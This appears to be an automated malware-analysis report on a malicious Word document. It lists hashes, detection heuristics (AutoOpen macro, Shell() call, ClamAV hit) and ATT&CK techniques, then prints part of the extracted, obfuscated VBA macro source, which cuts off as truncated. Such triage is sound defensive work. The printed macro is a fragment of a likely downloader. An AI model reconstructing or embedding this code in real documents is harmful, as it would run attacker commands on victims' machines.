Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3a0ec179b9710a82…

MALICIOUS

Office (OLE)

78.5 KB Created: 2017-10-20 13:36:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: fcc0b65ec69fb929628586323d34e43a SHA-1: 33885dfcfa859688fb0413db78d9d4f74ac9599f SHA-256: 3a0ec179b9710a825b51a5df64c4af6ca20ede80ad77da7e54eb2bc0f9e502ff
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The 'Shell()' call within the VBA code indicates an attempt to execute an external command. ClamAV also flagged this file as a malicious macro obfuscation sample. The obfuscated VBA script likely downloads and executes a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14664 bytes
SHA-256: 080503b324452d1d12ee277a2059783c985358604e233fa0cb07a6d1b11abbf4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 36 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function hbRtZdjQG()
wPuwz = "0IMMIadWFsVkhzHAISVQzlQZjjsiqnuQZBIkOAzKiApioZoLjFlwBSQlCujYizjSzEKfpXmHTLlwvhkHujulCwPGkWiTRabfUXkjOJWMSdfpjSpUJciCEuQBoEuToSqsjFdYzBslJiSYRaaSjOJpwZbaGjvKPDXAnnFapRXIjtsVbrkOicmaJBvKiCRNGiVGLSliUzcPqAFDjFwPzjjmQwqmruwmzJCBXlKJGFuizXkIvrdYECOZBjpObzmZCqPhwEjuvpItmBntMiIT0GTRUQR9"
DoGzTSZl = Mid(wPuwz, 5, 266)
HzkkOqbuFA = DoGzTSZl
izHTCkhRwO = "UMjLtocSTIOOJiNWIchTHShNMXwjDnSCjjHUPnAkKzAjwQzHXakoozFsdTzWpsOfpMiZWtHVcwIIRBQvXrMdCdNmdPqvniPTM74RIZL8NS7KH"
UozjVEc = Mid(izHTCkhRwO, 3, 92)
zbJhKSoEZw = UozjVEc
DXZbVXYTOj = "RUYJDWEAJN6FP4NXIShzjUCrOQWiVGKOVClfDsbTECNEVjhponDcwawGOCL1QJ3NOSPDGES3P6"
wDDQJ = Mid(DXZbVXYTOj, 19, 41)
zhRszz = wDDQJ
tzKAlFou = "LVofMnfAUBkiXQNXadFvwarZjICEOAKmwqzcljSwcnloiVBwhiFsmiJbiOzDlbmTqwjhQklqKHTIoDrLHDWjuRAQhXwXkONABSzklUhzsOhfPAnbXnwhFCYYzTAslOGwtSHWFGZmWYqfkVAjkXAzRfvztYnRUoLiIlTBEBBTP3J2RW7B4L0V2B6E5DEZ00YA1L76GMR6"
UbwklihGtq = Mid(tzKAlFou, 2, 161)
AVIAzHit = UbwklihGtq
iauPR = "ME5RVB0UWY2QslHqjZqEwWTcjdzRPkSmHpMHkhXXD14DBA0X034U4L6"
jKwQEdN = Mid(iauPR, 13, 27)
qpnYjisTqzn = jKwQEdN
wqXrOCHrC = "MlztRVQNKL2OUNE91W4U0K"
zFbIKkwbLO = Mid(wqXrOCHrC, 2, 9)
QiTUjVXS = zFbIKkwbLO
rCHSIYH = "2NFM69JN4U6P3QE27XRZHA3I8WJLSKwVhTkXTqunrzCjDOiUqkIHRkzQvjNzVbPjuvZSNGCkVlBhEaXAVALZS3FS"
qRlMiGT = Mid(rCHSIYH, 31, 49)
isPVOiuW = qRlMiGT
NvWuvdhui = "11NNC31WK8CGDGNcwTmEItwcKjZaGYWhrjqFBVwhLnJRfCiQHkIXvbJKWJrFtQWjQXSUQE1TR"
MDIHlHPidip = Mid(NvWuvdhui, 13, 57)
PiIFzMIr = MDIHlHPidip
LaTkZWDqojo = "859P1YoozPBnNAjscdSiDiMjaIEwMLWLTWnblELtWWjEWmdAlwGGwfWawurdTqcnspTqMHHYRZIhzHNnfEMNFPOoAMfqMiZjtsLjTmndrioXXodohDwOdPhdbfpAbQLjzboFwhUsQiWXbqRMjrJIkLDiKiFnznBaWFYvAYsAjFwutKCkOdRkHCzoYJuNcjvdhvBVSVMLwIZiMIlAjUZUVQTTFkXqdiYCKVNzJjSsRGmwdVbPYthHHaHQchQiT207FXYQ1"
qdVmrprXGb = Mid(LaTkZWDqojo, 6, 247)
SSodWj = qdVmrprXGb
javmkPA = "0WETIMPXH0O1DXMJlkBHfaqmEGWiNsjHwWiijpiChPvEiQAhPKTSMwpIrDkjjtkiRzQjjicvBwZPflHnGpTDZOvBjVrdFCGQKQ9"
kshHWqX = Mid(javmkPA, 15, 80)
ipjzjGsuvjR = kshHWqX
YjEVhci = "0B5uRkUqkmZkiTPMrozacDEwwjldMwswHCLhzCqYwKfJzGiKmRWzjpNsifvlwriltddbHiOpzYdRXuAswbqucuQSoSwSGEZEjuPUcGCEChzHLvVofCnWBjIzMLnojwiswZlcijPrZlsvuIGszKnDRCDzlQHRSNVFwHImKsJwmvzQqNEEEurYJibvVnrOYwZLPnwnzUhFBoQVFnHYLDMXWwvUfNQXBuaoWmADQREjNmXVNGqifSDUmBpTrcImEK1TSW83JFQZNZNRGEG"
rAzjL = Mid(YjEVhci, 4, 251)
lzqWjjCFmMJ = rAzjL
juVlKUvEGY = "970QC5qzQYhzvcznwvhHTUcIHCJqLjdPtUnAvvCsImIiISlVFswzHBaRYimJYAohuSDapwrAtowjLwApQolSkdHsuVbRJsTHwbjqPLfGAwFTDuGaiwskPWzRLLjTXaqAUqikPKZFIiRl1YCO8ZOOTIO5RU3BJW6UDRFQ1C0756P"
XjoERI = Mid(juVlKUvEGY, 7, 134)
DiPvrcu = XjoERI
zhRszz ipjzjGsuvjR + AVIAzHit + QiTUjVXS + zbJhKSoEZw + lzqWjjCFmMJ + PiIFzMIr + HzkkOqbuFA + DiPvrcu + SSodWj + isPVOiuW + qpnYjisTqzn
End Function
Function zSFzUIVVO()
zsVUfbJ = "ANAFEANAA2AEcAOQA5ADsAMQAxADEAOwAxADAAOQBEADQANwA6ADcAOABHADEAMAA3AH4AMQAxADIARAAxADEAOQBHADEAMAA0ADoANAA3AGoANAA0AEwAMQAwADQARAAxADEANgBLADEAMQA2AEcAMQAxADIASwA1ADgAagA0ADcAUQA0ADcATAA5ADkAagA5ADcAUQA5ADkARwA0ADYATAA5CS3FV6F"
bhzzI = Mid(zsVUfbJ, 4, 215)
fKppmmpJVA = bhzzI
IPtItRbqXU = "6FBUWDB1Y96HHXOS7set %zSFzUIVVO%=DG1E"
nzfEa = Mid(IPtItRbqXU, 18, 16)
EnHWrjtWlUO = nzfEa
NGijEzDJYSQ = "SJP0TNFHSVJHTEO6CUPKITwADEAagAxADEAMABRADEAMQA2ADsANAA2ADoANgA4AH0AMQAxADEARAAxADEAOQA7ADEAMQAwAGoAMQAwADgATAAxADEAMQBEADkANwB9ADEAMAAwAEcANwAwAEwAMQAwADUASwAxADAAOABqADEAMAAxADsANAAwAFEAMwA2AFEAMQAxADcARAAxADEANABMADEAMAA4AEwANAA2AEcAOAA0ADoAMQAxADEARwA4ADMARAAxADEANgBMADEAMQA0ADoANZ9RFI6K"
uhvaX = Mid(NGijEzDJYSQ, 23, 261)
qjjskDjMpiE = uhvaX
svGJjDtE = "L110QAOQA3ADoAMQAwADUARAAxADEAMABLADEAMQA4ADsAMQAwADUARAAxADAAMQBLADEAMQA5ADoAMQAxARD0W6A76CFUZ0TVPMOZNVDB3I03WY2PP8"
iXZJNlEwP = Mid(svGJjDtE, 6, 78)
rzBbzWaZX = iXZJNlEwP
dcqUHnF = "TTJ93WGJDPF6FPDOL4Y3AwAEsAMQAxADYAOgA1ADkAOgAzADYAOwAxADEANAA6ADkANwA6ADEAMQA
... (truncated)

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